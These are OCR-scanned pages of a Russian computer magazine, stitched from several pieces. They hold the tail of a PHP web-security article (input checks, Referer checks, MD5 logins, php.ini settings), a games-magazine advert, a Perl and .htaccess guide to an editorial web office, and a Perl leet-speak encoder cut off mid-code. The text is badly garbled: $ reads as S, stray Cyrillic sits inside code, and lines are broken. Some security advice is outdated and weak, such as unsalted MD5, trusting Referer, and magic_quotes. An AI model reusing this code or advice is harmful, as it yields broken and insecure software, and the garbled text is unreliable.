if (preg_match(«/[*(\w)|(\@)|(\.)1/»,Smail)) { 
echo «Я те хакну!5; 

exit; 

} 

2.2. Нужно ограничить поля 
ввода имени, ника и тому подоб- 
ного, добавив параметр тах- 
length в html-T3r, вот пример: 
<input type=text name=nick maxlength=10> 

А если злобный хацкер решил 
сохранить твою форму у себя на 
винте и уже на винте убрать тах- 
length=10, то поставь в начало 
страницы проверку Ha REFERER: 
2 


Sreferer=getenv(«HTTP_REFERER»); 
if (lereg(«http://www.ctpaHUla_c_KoTO- 
рой_нужно_было_зайти.сот»)) { 

echo «Я те хакну!5; # или можешь напи- 
сать - «Header(«Location: index.php»);» - эта 
строка отсылает юзера на главную пагу. 

exit} 
} 
?> 

Теперь если он попытается по- 
слать данные с паги, находящей- 
ся на своем винте, то мы его кра- 
сиво посылаем. Вообще, такие 
проверки рисуют на каждой стра- 
нице - пусть маленькая, HO защи- 
та. 80% хацкеров остановятся, 
но другие-то знают, что и провер- 
ка на реферер - не трабла, ибо 
сам реферер формируется брау- 
зером, то есть на стороне клиен- 
та. Поэтому, получив данные от 
пользователя, мы все-таки отре- 


Ломаем MySQL 


жем все, что стоит после десято- 
го символа переменной: 
Susername=substr(Snick,0,10); 


Еще в некоторых готовых скрип- 
тах бывает, например, что в in- 
dex.php пишут: 

SPHP_SELF = «main.php»; 


Далее инклусдят, к примеру, en- 
gine.php, и в engine.php идет про- 
верка на SPHP_SELF: 
if (eregi(«engine.php»,SPHP_SELF)) { 
Header(«Location: index.php»): 
die(); 

} 

То есть мы в index.php устана- 
вливаем SPHP_SELF, как 
main.php, и наш скрипт engi- 
ne.php должен быть обязательно 
проинклужен. Если же пользова- 
тель наберет в URL engine.php, 
то его пошлют Ha index.php, так 
как SPHP_SELF (это переменная 
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Сильная сто- 
рона РНР в 
то же время 
является его 
и слабой сто- 
роной - РНР 
очень прост. 
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В рубрике 
"Типс" наше- 
го сайта был 
хороший при- 
мер, как в по- 
ля e-mail и 
homepage 
можно было 
написать кое- 
что интерес- 
ное =). Дога- 
дайся, какие 
символы надо 
фильтровать? 


Описание Security функции 


escapeShellCmd(Sstr) и escapeshellarg(Sstr) - обе очищают строки от 
небезопасных символов. Очищают строки Sstr, которые потом gon- 
жны быть употреблены в функциях типа System(). Непонятно, чем 
они отличаются, но в РНР-документации советуют использовать 
вторую. 

strip_tags($str, [Sallowable_tags]) - функция удаляет из строки Sstr 
все тэги и возвращает результат; в параметре Sallowable_tags мож- 
но передать тэги, которые не следует удалять. 

stripslashes(Sstr) - заменяет в строке Sstr некоторые предваренные 
слэшем символы (а это - «,',\) на их эквиваленты. Употреблять мож- 
но в связке с htmlspecialchars(). 

htmlspecialchars(Sstr) - заменяет в строке Sstr некоторые символы 
(амперсант, кавычки, знаки «больше» и «меньше» и т.д.) на их 
НТМЕ-эквиваленты, так чтобы они выглядели на странице «самими 
собой». 

mysgl_escape_string(Sstr) - удаляет из Sstr все небезопасные gna 
MySQL-3anpoca символы. 

str_replace(Sfrom,Sto,Sstr) - заменяет в строке Sstr все схождения 
подстроки Sfrom (с учетом регистра) на Sto и возвращает резуль- 
тат. 

md5(Sstring) - функция возвращает Sstring в зашифрованном виде. 
Используемый алгоритм MD5. MD5 - алгоритм резюмирования сооб- 
щений. Становится все популярнее, чем DES (в РНР функция - pass- 
word()). 

mysgl_num_rows(Sresult) - возвращает число записей в результате 


Му5ОЕ-запроса. 


окружения) равняется engi- 
ne.php, а если этот скрипт будет 
проинклужен в главном файле, 
то никто никого не пошлет, так 
как SPHP_SELF будет равна 
main.php =). 

3. Данные также могут быть ис- 
пользованы в других сферах, на- 
пример, в 5ОЁ-запросе, но для 
всего этого есть общее правило: 
фильтровать символ конца стро- 
ки. Для фильтрации данных, ко- 
торые будут участвовать в SQL- 
запросе, можешь воспользовать- 


ся функцией mysqgl_escape_string. 


Почитай статьи по SQL-Injection 
для большего ознакомления - их 
сейчас очень много. 


Примечание: когда тип входя- 
щего параметра известен, то 
можно проверить еще и на тип 
переменной. 


АУТЕНТИФИКАЦИЯ 

На всех сайтах есть закрытая 
территория, доступ к которой 
должны иметь только «свои». 
Что за пага без админ-зоны?! Но 
тут встает вопрос, как защитится 
от посторонних? Есть очень мно- 
го вариантов защиты, например, 
можно предохраняться стандарт- 
ными средствами Apache, но тут 
есть два минуса - нет защиты от 
перебора пароля, и такая защита 
будет напрягать сервак и самих 
посетителей. 


Другой вид защиты это переда- 
ча логина и пасса через форму и 
дальнейшее его хранение в куки- 
сах, такой метод сейчас и опишу. 
Есть еще сессионный метод (наи- 
более популярный), и лучше ис- 
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пользовать его. Все нижеизло- 
женные правила подойдут и для 
сессионного метода. 

Допустим, из формы мы получи- 
ли Slogin и Spass. Tak как Slogin 
будет употребляться в SQL-3a- 
просе, надо профильтровать пе- 
ременную: 

Slogin = mysql_escape_string(Slogin); 

Потом делаем запрос к MySQL. 
Скажу сразу, что шифровать па- 
роли лучше MD5, поэтому при ре- 
гистрации нового юзера в табли- 
цу вносится не чистый пароль, а 
зашифрованный функцией 
md5(). Так что тот пароль, KOTO- 
рый мы будем сравнивать с тем, 
который находится в MySQL, мы 
тоже предварительно должны за- 
шифровать функцией md5(): 
Slogin_id = mysql_query(«SELECT id FROM 
user WHERE login="Slogin’ AND pass='». 
md5(Spass). «'»); 


РНР или HTML??? 


Из запроса получаем ИД юзера 
с логином Slogin и пассом Spass. 
Но это далеко не все, мы должны 
проверить (вдруг хацкер оставит 
пустым поле введения пароля) 
количество записей в результате 
запроса (результат запроса - Slo- 
gin_id); если функция возвраща- 
ет 1, то все ОК, пропускаем юзера 
к нам, если нет - красиво посыла- 
ем =): 
if (mysql_num_rows(Slogin_id) !=1) { 
echo «Тут можешь написать свою речь к 
сообществу хакеров.» 

} 

else { 

#TyT делаем все, что и хотим, пускаем в 
запретную зону, прежде сгенерировав се- 
шен ИД или записав в кукисы пасс. 

} 

Вот общая схема авторизации. 
Не забывай, что пользователь 
может и кукисы подменить, так 
что их тоже надо проверять по 
вышеописанной схеме. 


РЕКОМЕНДАЦИИ 

ПО НАСТРОЙКЕ PHP 

1. Запретить создание глобаль- 
ных переменных из пользова- 
тельского ввода: 

register_globals off 


2. Включить режим Safe_mode: 
safe_mode оп 

В режиме safe_mode РНР прове- 
ряет владельца запущенного 
скрипта и, если скрипт пытается 
открыть какой-либо срайл, - дела- 
ет это с правами этого владельца. 


3. Ограничения на каталоги: 
doc_root = /home/USER/htdocs 

Если PHP сконфигурирован для 
работы в Safe mode, то файлы, 
лежащие вне этого каталога, не 
будут обрабатываться. 
open_basedir = /home/USER/htdocs 

Ограничивает область файлов, 
которые может открыть РНР 
только в заданном дереве ката- 
логов. Когда скрипт пытается от- 
крыть файл (например, fopen), 


проверяется его расположение. 


Если файл находится за указан- 
ным деревом, РНР откажет в его 
открытии. 


safe_mode_exec_dir = /home/USER/bin 


Если РНР используется в safe 
mode, функции запуска систем- 
ных процессов (system и другие) 
не смогут запустить программы, 
которые находятся не в этом ка- 
талоге. 


4. Запретить открытие удаленных 
файлов, если они не нужны: 
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httpd.conf 
allow_url_fopen off 


5. Отключение функции: 
disable_functions = phpinfo 


6. Скрытие PHP: 
expose_php off 

Эта директива сообщает, может 
ли РНР оповещать пользовате- 
лей о своем существовании на 
данном сервере, например, go- 


бавляя НТТР заголовок. 


7. Выключить вывод сообщений 
об ошибках в браузер и вклю- 

чить регистрирование ошибок в 
лог-файле: 


S off 


8. Ограничения Ha закачку файлов: 


upload_tmp_dir = /home/USER/tmp 


Указанный каталог использует- 
ся для временного сохранения 
файлов, загружаемых пользова- 
телями на сервер. Каталог дол- 
жен быть доступен для записи 
пользователю, от имени которого 
запущен Apache. 
upload_max_filesize = 2M 

Определяет максимальный раз- 
мер файла, который может быть 
загружен пользователем на сер- 
вер. 


9. Ограничения на время работы: 

cution_time = 30 
Устанавливает максимальное 

время в секундах, в течение кото- 
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рого разрешено выполнение 
скрипта, пока он будет прерван 
интерпретатором РНР. Это пре- 
дохраняет сервер от длительного 
выполнения ошибочных сриптов. 


10. Ставить слэш перед спецсим- 
волами: 
magic_quotes_runtime оп 

Если опция включена, то боль- 
шинство функций, возвращаю- 
щих данные из любых внешних 
источников (включая базы дан- 
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ных и текстовые файлы), будут 
предварять все специальные 
символы обратным слэшем. 


Tl. Скрытие PHP: 

Возможно, ты захочешь просто 
спрятать свой рЮр-скрипт, для 
этого, кроме уже рекомендован- 
ной опции expose_php off, можно 
ассоциировать интерпретатор 
php с необычным типом файлов. 

Например, подредактировав 
httpd.conf, можно маскировать 
рир-скрипт под другой скрипт: 

ddType application/x-httpd-php .asp .py .pl 

Использовать несуществующие 
типы: 

AddTyp 


application/x-httpd-php .rus .cccp 
„ПП ер 

Замаскировать под простой 
html: 


Ad 


ЧТуре application/x-httpd-php .htm „т 
Кстати, многие, увидев динами- 
ческие проекты, удивляются - по- 


чему Ha html? 


FINISH 

В рамках одной статьи я поста- 
рался выдать как можно больше 
инфы по безопасной работе с 
РНР. Вывод можно сделать толь- 
ко один - хорошо настроив апач и 
пхп, уже можно отвертеться от 
некоторых бажных скриптов. Так 
что уговаривай админа изменить 
конфигурацию =). Удачи в напи- 
сании скриптов! 
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МЫСЛИ ВСЛУХ 
Война за независимость. 


ИГРОВЫЕ ВСЕЛЕННЫ 
Предыстория Вселенной 
WarCraft. Часть вторая. 


КСКЛЮЗиИВ 
Besieger 
Новое в жанре RTS? 


КАК ЭТО ДЕЛАЕТСЯ 
Новая рубрика. 
Чуть-чуть обо всем. 


FRAGMAKER 

Новая рубрика. Вы собираетесь 
зарабатывать на жизнь 
разработкой игр? 


Тестирование пяти системных 
плат нового поколения. 
"Крякнутый кейс Лойда". Первый 
взгляд. Новости. 


А также: Новости, Review, 
Preview, Loading, советы по 
прохождению игр, "ТОП 
20", "Игровой 
трубопровод" и т.д. 
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МУТИМ ЭЛИТНЫЙ СЕТЕВОЙ ЖУРНАЛ 


Леха ББ 
(alex-sun@mtu.ru) 
& Kocmoc 
(nkvd@zapisi.ru). 


озможно и такое, что BCA 
работа будет по локалке. 
Поскольку готовые системы 
для этого дела стоят грин этак 2999, мы 
будем лепить из готовых блоков, дописы- 
вая и создавая то, чего нам не хватает. 


КОНЦЕПТ 

Что же для этого нужно? Во-первых, 
концепция твоего журнала. Придумывай 
сам, у нас она уже вроде есть :). Как 
только соберешься с мыслями - читай 
дальше. Потом определись с хостингом. 
Писать будем на перле и на php, так что 
наврот.ру не катит. Для мегамагазина 
всегда нужен план. Но не тот, который 
забивают, - тот, что план номера. А 
именно - какие темы будут освещаться, 
количество полос для той или иной 
статьи и сам автор, который изъявил 
желанием взять тему. Вот и сделаем 
форму для редактора, чтобы он забивал 
и ее могли видеть авторы. Далее список 
зарегистрированных авторов, вывод ар- 
хива статей каждого, архив номеров и 
раздел доступа. Всего уровней два: для 
редакторов и для самих креатив-чува- 
ков. Люди, не задействованные в жур- 
нале, не должны ни фига видеть. Ну и, 
конечно, лента новостей - кричащая об 
изменениях - и форум для обсуждения 
проблем насущных. Доступ раздаваться 
будет примитивно - хтакссесом и 
хтпассво'ом. Как только это все будет 
готово - можно все это дело объеди- 
нить. Просто создадим список со ссы- 
лками на администрирование к нашим 
получившимся блокам. 


ФОРМА ДЛЯ ПЛАНА СТАТЕЙ 

Перед каждым выпуском редакция дол- 
жна знакомить своих коллег с тем, чему 
будет посвящен новый выпуск, а также 
предлагать какие-то свои темы. Обычно в 
ответ на предложенные темы ребята 
предлагают еще раз в 5 больше, но толь- 
ко план есть план - существуют ограни- 
ченные рамки. Тем более, что и предло- 
женные редакцией темы довольно инте- 
ресно было бы рассмотреть. Чтобы такой 
план был доступным для авторов, пипл 
из редакции должны как-то сделать этот 
план. Но не будут же они ручками кле- 
пать НТМЕ-страницу каждый раз? Конеч- 
но, нет. Значит, надо сделать форму для 
ввода пунктов плана и всего такого. Вве- 


денное хозяйство будет заноситься в 
файл, а скрипт-обработчик будет npeg- 
ставлять это дело в табличной структуре. 

Перед тем как резво браться за созда- 
ние формы, подумай, какие поля дол- 
жны быть в плане (ну, это если ты ре- 
шил свой веб-офис завести). Для при- 
мера можно взять такие поля, как: 

а) название статьи, 

6) предполагаемый объем, 

в) комментарии (редакции свойствен- 
но делать названия очень непонятны- 
ми, в этом поле они пытаются хоть как- 
то растолковать смысл названия, и 
иногда им это даже удается :)). 


Кроме полей таблицы предполагается 
наличие полей номера и названия выпу- 
ска (ты же не хочешь делать безликий 
бездатНый магазин?). Ответ на вопрос о 
количестве формочек для плана много от 
чего зависит, но он не так часто меняется. 


<FORM ACTION="/cgi-bin/plan.pI" method="POST"> 
№ журнала: <INPUT name="number"><br> 
Название номера: <INPUT name="name"><br> 
<table border="1" cellpadding="0" cellspa- 
cing="0"width="95%" align="center” bgco- 
lor="#CCCCCC" bordercolorlight="#000000"> 
<tro<td> 

<b>1.</b><br> 

Название статьи: <INPUT name="namel” size=50> 
<br> 

Предполагаемый объем статьи: <INPUT name="si- 
zel” size=4>, Kbsbr> 

Комментарии: <BR> 

<TEXTAREA NAME="commenti” rows=3 cols=50> 
</TEXTAREA> 

<HR> 

<b>2.</b><br> 

Название статьи: <INPUT name="name2" size=50> 
<br> 

Предполагаемый объем статьи: <INPUT name="si- 
ze2" size=4>, Kb<br> 

Комментарии: <BR> 


<!- Тут в таком же духе формочки -> 


<TEXTAREA NAME="commentN” rows=3 cols=50></TE- 
XTAREA> 

<HR> 

</td></tr> 

</table> 

<INPUT type="Submit" value="Co3gaTb план”> 
</FORM> 
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Примерный вид формы для заполнения плана 


Форма очень проста, даже бе- 
зо всяких /5-проверок на запол- 
ненность форм, которые, честно 
говоря, не помешают. После за- 
полнения плана и нажатия кноп- 
ки "Создать план" будет произ- 
ведено обращение к скрипту 
р!ап.р!, который будет заносить 
содержание плана в файл с наз- 
ванием "№_журнала.1х{", а в 
файл plan.ind - номер и название 
готовящегося журнала. Остается 
только написать такой скрипт :). 
Для обработки скриптом данных 
из форм понадобится процедура 
FormInput, которую можно ска- 
чать на сайте winfo.org. Вообще, 
она понадобится для всех пер- 
ловых скриптов, которые будут 
рассмотрены в данной статье, 
так что рекомендую за нею сла- 
3UTb. 

Полностью рассматривать напи- 
сание скрипта не считаю целесо- 
образным, ибо абсолютные но- 
вички даже в таком случае ниче- 
го не поймут, а разбирающиеся 
уже и так достаточно знают. Для 
плана отведи отдельную директо- 
puto, например, plans. Туда будет 
заноситься все связанное с пла- 
ном. Приведу только пример об- 
работки полученных форм и из 
записи в файл (опять же про- 
стейший вариант). 


Жобработка полей Номера и Названия 
Snumber=Sinput{‘number'}; 
Sname=Sinput{‘name’}; 


запись в файл списков планов 
open(PLN, ">>Splans_ind”); 

print PLN "Snumber;Sname\n"; 
close (PLN); 


как будет обзываться файл нового плана 
Splan_file=Splans_dir.Snumber.’ txt’; 


#o6pa6oTka форм по темам плана 
Яколичество выбирать под свои нужды 
Зпате[!]=ЗприК‘пате!’}; 


Sname[2]=Sinput{‘name2’}; 
Sname[3]=Sinput{‘name3’}. 
Sname[4]=Sinput{‘name4'}; 


Ssize[1]=Sinput{‘sizet}; 

$size[2]=Sinput{'size2’}; 
$size[3]=Sinput{'size3’}; 
$size[4]=Sinput{'size4’}. 


Scomment[1]=Sinput{‘commentt}; 

Scomment([2]=Sinput{‘comment2’}; 
Scomment[3]=Sinput{‘comment3’}. 
Scomment[4]=Sinput{‘comment4’}; 


#запись в файл обработанных перемен- 
ных через разделитель ; 

open (PLA, ">»Splan_file”); 

for (Si=1; Sis=4; Sit+) 


{ 

print PLA "Sname[Si];Ssize[$i];Scom- 
ment[Si]\n"; 

} 

close (PLA); 


В списке планов добавление но- 
вого номера происходит в по- 
следней строке. Помни об этом - 
еще пригодится. Приведенное 
выше хозяйство можно gonon- 
нить проверкой на пустоту, чтобы 
не делать лишних строчек, и еще 
чем-нибудь. Но это уже на твое 
усмотрение. 


АРХИВ ПЛАНОВ 

Обладающих настолько феноме- 
нальной памятью людей, которые 
помнят все о том, что, где и когда 
было написано, не так много. По- 
этому надо держать архив пла- 
нов, чтобы можно было посмо- 
треть, не писалось ли то же сам- 
ое до этого. Поскольку уже ве- 
дется список номеров и файлы 
планов, то задача создания архи- 
ва сильно упрощается. Надо бу- 
дет только написать скрипт-обра- 
ботчик этих файлов. Суть такого 
скрипта в том, что он должен от- 
крывать список журналов и вы- 
давать их номера и названия. 


При выборе того или иного номе- 
ра скрипт выдаст в удобовари- 
мом виде план в виде названий 
статей, объема и комментариев 
(то, что заполнили ранее). 


Список планов 
if (Sinput{‘act’} ед "") 
{ 


open(PLN, "Splans_ind”); 
@plans=<PLN>; 

close(PLN); 

print "<hl>Cnucok планов по номе- 
pams/hl>\n": 

for (Si=0; $is@plans; $i++) 


{ 

chomp(Splans[$iJ); 

(Snumber, Sname) = split (/:/, Splans[Si]); 
print "<a href=Sscript?num=$num- 
ber&act=plan>Snumber - Sname</a>\n"; 

} 

} 


Для вывода конкретного плана 
надо в этом же скрипте создать 
условие, при котором он будет 
происходить, а также написать 


сам вывод. Нижеприведенный ли- 


стинг кода наглядно демонстри- 
рует подобную процедуру. 


if (Sinput{‘act'} ед "plan”) 
{ 


Нопределение номера и его названия 
open(PLN, "Splans_ind”); 

@plans=<PLN>; 

close(PLN); 

Sch_num=Sinput{‘num’}; 


for (Si=0; Si<@plans; Si++) 


{ 

chomp(Splans[$il); 

(Snumber, Sname) = split (/:/, Splans[Si]); 
if (Sch_num eq Snumber) 

{ 

Sch_name=Sname; 

} 

} 

print "<h2>Ne Snumber: Sname</h2>\n"; 


HnyTb к файлу с планом 
Sch_plan_file=Splans_dir.$ch_num...txt’; 


#3anosHeHne переменных из полей файла 


И ИХ BbIBOG 
open(PLA, "Sch_plan_file”); 
@chplan=<PLA>: 
close(PLA); 


print "<table border=1 align=center>\n"; 
print "<tro<td>HaaBaHve cratbu</td>\n"; 
print "<td>O6bem</td>\n"; 

print "<td>KommeHtapun</td></tr>\n"; 


for (Sq=0; Sq<@chplan; $q++) 
{ 
спотр($спр!ап[$9]):; 


(Sname_art, Svolume, Scomment) = split(/;/, 


Schplan[$q}); 

print "<tro<td>Sname_art</td>\n"; 
print “<td>Svolume</td>\n": 

print "<td>Scomments/td></tr>\n"; 
} 

print "</table>\n"; 

} 
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ВЕБ-ТУЛЗЫ 


Перед тем 
как делать 
сайт, кото- 
рый объеди- 
нит всех ав- 
торов журна- 
ла, реши, ка- 
кие функции 
он должен 
выполнять. 


Если жалко 
платить туе- 
ву хучу бабла 
за програм- 
мный про- 
дукт, то мож- 
но его сде- 
лать самому. 


page ETH 


Немного доработав, такой вы- 
вод можно снабдить линками на 
тексты статей или сделать воз- 
можным автору заказывать 
статьи. 


СПИСОК АВТОРОВ 

Список авторов должен содер- 
жать такие сведения, как имя 
(или ник), e-mail, перечень обла- 
стей, в которых он разбирается. 
Это можно дополнить информа- 


ЗАКАЗ СТАТЕЙ 

Через какие-то интервалы време- 
ни (обычно раз в месяц) редак- 
ция рожает план номера, и он 
становится доступным на сайте. 
Авторы в это время лезут на 
сайт, чтобы его лицезреть, a так- 
же выбрать то, что они могут оси- 
лить. Чтобы автору не пришлось 
выбирать кота в мешке, надо сде- 
лать так, чтобы план представить 
в такой форме, чтобы было по- 


a “rk . = meme 


Вывод выбранного плана 


цией о его возрасте, семейном по- 
ложении, физическом адресе, 
фотограсрией и T.g., но это уже по 
желанию. Создание и дополнение 
списка авторов можно сделать по 
аналогии с описанной выше фор- 
мой для плана статей. Только ко- 
личество форм будет зависеть от 
того, насколько подробную анке- 
ту по авторам собираешься де- 
лать. Лучше всего каждому авто- 
ру сделать свой ID (идентифика- 
ционный номер), которым автор 
будет подписываться, например, 
при выборе статей. Скрипт, отве- 
чающий за обработку запроса о 
выборе, в случае ввода правиль- 
ного ID, будет либо говорить что- 
нибудь типа "Спасибо за заказ. О 
нем будет сообщено начальству", 
либо будет посылать куда по- 
дальше, если такой номер введен 
неправильно. 
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нятно, что к чему, то есть так же, 
как и в архиве планов, а рядом 
поставить флаги (checkbox’bl), 
выбор которых будет соответ- 
ствовать выбору статей. От 
скрипта, который будет отвечать 
за выбор статей, требуется опре- 
делять последний добавленный 
план (последняя строка файла со 
списком планов), открывать 
файл с планом и записывать в 
строчках с выбранными авторами 
статьями ID того, кто их выбрал. 
Но лучше заводить файл с име- 
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Вот Tak осуществляется выбор статей 


нем вида ID_aBtopa.txt, в котором 
будут записаны выбранные дан- 
ным автором статьи на месяц. Та- 
ким ID может служить не только 
номер, но и любое слово или да- 
же просто набор символов. 


НОпределение последнего плана 
open(PLN, “Splans_ind”); 
@plans=<PLN>: 

close(PLN); 


#Sk - число строк в файле списка 

Sk=0; 

foreach(@plans) 

(Sk++} 

#5] - выбор строки с номером и названием 
последнего плана 


ЗЕ; 


(Snumber, Sname) = split (/;/, @plans[$jJ); 
print "<h2>Ne Snumber: Sname</h2>\n"; 


$ch_plan_file=Splans_dir.Snumber.’.txt’; 


#заполнение переменных из полей файла 
И ИХ BbIBOG 

open(PLA, "Sch_plan_file”); 

@chplan=<PLA>; 

close(PLA); 


#TaOnnua с планом и возможностью вы- 
бора статей 

print "<table border=1 align=center>\n"; 
print “<tro<td>HaaBanne ctatbu</td>\n"; 
print "<td>O6bems/td>\n"; 

print “<td>Kommeutapmn</td>\n"; 

print “<td>Bbl6patb</td></tr>\n"; 


print "<FORM ACTION=Sscript 
method=\"GET\">\n"; 

print "Представься: <INPUT na- 
me=\"author\" size=30>\n"; 


for (Sq=0; $q<@chplan; $q++) 

{ 

chomp(Schplan[$q]); 

(Sname_art, Svolume, Scomment, Schosen) 
= split(/:/, Schplan[Sq]); 

if (Schosen eq "") 

{ 
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print “<tro<td>Sname_art</td>\n"; 

print "<td>Svolume</td>\n"; 

print "<td>Scomment</td>\n"; 

print "<td><INPUT type=\"checkbox\" na- 
me=\"chosen\” value=\"Sq\"></td></tr>\n"; 
} 


} 

print "</table>\n"; 

print "<INPUT type=\"Submit\”" ма|ие=\"Вы- 
брать статьи\">\п"; 

print "</FORM>\n"; 

} 


Заносить результаты выбора в 
файл с планом или заводить для 
этих целей отдельный файл - ge- 
ло вкуса. У того и другого метода 
есть свои плюсы и минусы (как и 
у других источников питания :)), 
так что подумай, что в твоем слу- 
чае будет лучше. И сделай это. 


АРХИВ СТАТЕЙ ТОГО 

ИЛИ ИНОГО АВТОРА 

Для размещения самих статей 
лучше всего завести директорию 
статей, а в ней субдиректории по 
ID автора. В директории статей 
завести текстовый файл, строки 
которого будут разбиты на 3 ча- 
сти через знак ";": ID автора, наз- 
вание статьи и имя файла с тек- 
стом статьи. При выборе автора 
будут выведены ссылки Ha ID 
всех имеющихся авторов (и быв- 
ших тоже). После клика на такую 
линку скрипт будет отыскивать 
среди полей файла нужный ID и 
заносить нужные строчки в мас- 
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Статьи выбранного автора 


сив, который потом будет выве- 
ден. После его обработки будет 
выдан список статей выбранного 
автора, которые можно допол- 
нить ссылками на эти статьи. 


ЛЕНТА 

Ничего сложного не надо. Никаких 
категорий, поисков и т.п. Сойдет 
примитивная от Мэнликсов: 
http://manliks.ru/manlix/downlo- 
ads/mnlxswnews02.zip. Если же хо- 
чется больших возможностей - у 
них же на втором сайте http://man- 
Их.ги в наличии более сложная 
лента. Фак и поддержка по уста- 
новке для глупых - прилагается. 
Как только все установишь - при 
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помощи SSI проинклудишь в свой 
дизайн в нужном месте. 


ДОСТУП 

Твой любимый Спецпипец Heo- 
днократно писал про разделение 
доступа. Как то - Муф про Мапа- 
ger Lite на перловке с использо- 
ванием .htaccess и .htpasswd. 
Уа.ги тебе в помощь, но можно 
решить проблему и простыми вы- 
шеуказанными файлами без мэн- 
эджера. Согласен, все придется 
делать ручками - но так меньше 
геморроя и, ИМХО, безопасней. 
Есть замечательная программа, 
которая шифрует и создает паро- 
ли в MDS. Качай: http://www.host- 
forum.ru/files/passwd12.zip. Как 
юзать эгзэ, разберешься - не ма- 
ленький. Программа создаст нуж- 
ный тебе .htpasswd. Далее ты 
должен запихать в папку, кото- 
рую надо запаролировать, файл 
-htaccess с примерно таким со- 
держимым: 


AuthName "Дай пароль чувака!" 
AuthType Basic 

AuthUserFile /полный/ад- 
pec/u/nytb/K/.htpasswd 

require valid-user 


А если хочешь запретить go- 
ступ к определенному файлу, 
вставь в .хтаксесс: 


<Files имя_файла.расширение> 
order allow,deny 

deny from all 

</Files> 


Советую паролить все конфигу- 
рационные файлы. Едем дальше. 


ОБЩЕНИЕ 

Теперь осуществим общение с 
"Главным" через форму. Иногда 
ломает создавать новое письмо и 
отправлять ero. А когда ты еще и 
не дома и залазить через веб-ин- 
терфейс в почту долго, подойдет 
обыкновенная форма с полями 
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имя”, "мыло", "чо хотел”. Фид- 
бэшную форму качаем отсюда: 
http://www.woweb.ru/non-cgi/46 - 
там их много, выбери на свой 
вкус. Устанавливаем и инклудим в 
шаблоны дизайна, где это необхо- 
димо. Если редакторов много, там, 
где надо, прописать мыльники че- 
рез запятую. Опять же все очень 
просто. Далее, чтобы чувакам не 
скучать и дать возможность обсу- 
дить наболевшие проблемы - 
установи форум. Их сейчас хоть 
*опой ешь, так что вся проблема в 


Вот таким образом часто осуществляется 
возможность уведомить начальство или 
еще кого 


их выборе. Установить тоже про- 

блем возникнуть не должно: фа- 

ков и мануалов, как грязи. Напри- 
мер, в Спеце №2(27) писали о мо- 
дном РНРВВ. Сделаешь сам. 


КОНЕЦ 

Как видишь, мы опять изверну- 
лись. И теперь свой кейс с прези- 
дентами можешь опять отложить 
на черный день. А вообще, ты все 
это мог придумать сам, ибо ниче- 
го сложного здесь нет. Ладно, ко- 
пайся и разбирайся. До встречи. 


Линки по теме: 
http://apm.izkom.ru/ 
apache_htaccess.php 
http://www.wmaster.ru/ 
htaccess/index.htm 
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Совет но- 
вичку: не 
бросайся на 
создание 
удаленного 
офиса жур- 
нала без 
подготовки 
- только 
время зря 
потеряешь. 
Тренеруйся 
пока на 
кошках :). 
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ВЕБ-ТУЛЗЫ 


очитай статью gO 

конца, и я уверен, 

что ты найдешь 
еще пару применений чисто для 
себя :). У тебя были случаи, ког- 
да заглядывают через плечо 
или с тупым вопросом "А че это 
ты читаешь?” лезут в твою лич- 
ную переписку? Или стихи, ко- 
торые ты пишешь свой девушке 
(ну бывает такое, весной же бу- 
шует острое нереспираторное 
заболевание), и ты никак не хо- 
чешь, чтобы их читал какой- 
нить отморозок. Для этого надо 
все кодить! 

А как известно, самое хакер- 

ское кодирование это крякозя- 
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блики. Но дешифровать в голо- 
ве КО! в WIN достаточно пробле- 
матично, так что давай посмо- 
трим на более приемлемые спо- 
собы. Первый - это кодирование 
по аналогу. Его чаще всего ис- 
пользуют для понтов, например, 
при Deface-onepauuax или gna 
придания веса собственному ни- 
ку, где-нибудь на CS сервере. 
Этим стилем написан подзаголо- 
вок статьи :). Когда-то, в довин- 
досовые времена, я пользовал- 


ся этим для кодирования инте- 
ресных рассказов и втихаря та- 
щил их в школу. С первого 
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взгляда никто не сможет ска- 
зать, что именно тут написано, 
но если знать принцип, то чита- 
ется достаточно бегло. Можно 
печатать даже на единственном 
принтере у директора фирмы, 
рассказывая сказки про ассем- 
блерный код и декомпилирова- 
ние программы в уме, многие ве- 
рят. Но как ты сам понимаешь, 
кодировать несколько страниц 
только для того, чтобы потом их 
декодировать и прочитать то, 
что и так уже прочитано, смысла 
нет. Поэтому мы будем кодиро- 
вать не сами, у нас есть желез- 
ная коробка с кремнием внутри, 
у нее частота большая, вот 
пусть она и думает. А поскольку 
это надо не только нам, мы сде- 
лаем страничку, на которой бу- 
дет интерактивный кодер. Пи- 
сать оного будем на перле. Если 
ломы ставить себе сервак, по- 
ищи в сети и найди халявного 
хостера с перлом, для тестов я 
пользовал hut.ru, но надолго 
там остаться не получилось. 


ПЕРЛОДРОМ 

Допустим, что у нас есть работос- 
пособный перл или выход на сер- 
вак с перлом и нам надо просто 
написать программку. Для начала 
создай простой htmli-qanneu, в 
котором будет форма запроса, то 


есть то, куда посетитель странич- 
ки будет вводить свой первоз- 
данный текст. Кстати, можешь ра- 
ди интереса его сохранить и по- 
смотреть, что именно он переко- 
дил :). 

Затем надо написать саму про- 
грамму. Пример ты сейчас посмо- 
тришь, но помни - тираж журнала 
более 40000 екз. Так что лучше 
написать что-то свое. 


<html><head>stitle>Cool coder</title></head> 
<body><form method=post action=/cgi- 
bin/codeit.pI> 

Вводи текст Tyt.<br> 

<textarea name=text rows=15 cols=50><br> 
<input type=submit value=Go></form></bo- 
dy></html> 


Теперь давай подумаем, что BO 
что будем кодить. Все, что нуж- 
но, - это найти совпадения в бу- 
квах, так, например, букву "а" 
можно поменять на А, @, а, 4. Бу- 
кву "NN" можно написать Kak J 
или /\. Поскольку таких комбина- 
ций может быть несколько, нуж- 
но писать кодировщик с "пла- 
вающими" таблицами. То есть 
прога сама должна выбрать слу- 
чайную замену и подменить бу- 
ковку. Давай напишем кодиров- 
щик отдельно, а таблицы кодиро- 
вок будем хранить в отдельном 
файле, что придаст достаточно 


гибкости нашей проге. Для рабо- 
ты с таблицами есть в перле от- 
личная штучка, которая зовется 
хэш, она позволяет создавать 
пары и не заботиться о поиске и 
размещении данных. Это мы и 
заюзаем для наших пока еще гу- 
манных целей. Ответ пользова- 
телю будем выдавать прямо на 
экран прямым текстом, пусть с 
ним потом что хочет, то и делает. 


#!/usr/bin/perl 

print “Content-Type: text/plain\n\n"; 
open INP,"<table.dat”; 

while (chomp(Sa=<INP>)) { 
chomp(Stable{$a}=<INP>);} 

close INP; 

while (Stext=<>) { 

Stext =~ s/text=//: 

Stext =~ s/\+/ /9; 

Stext =~ s/%([\dA-Fa-f][\dA-Fa- 
f])/pack("C" hex(S1))/eg; 

while (Stext) { 

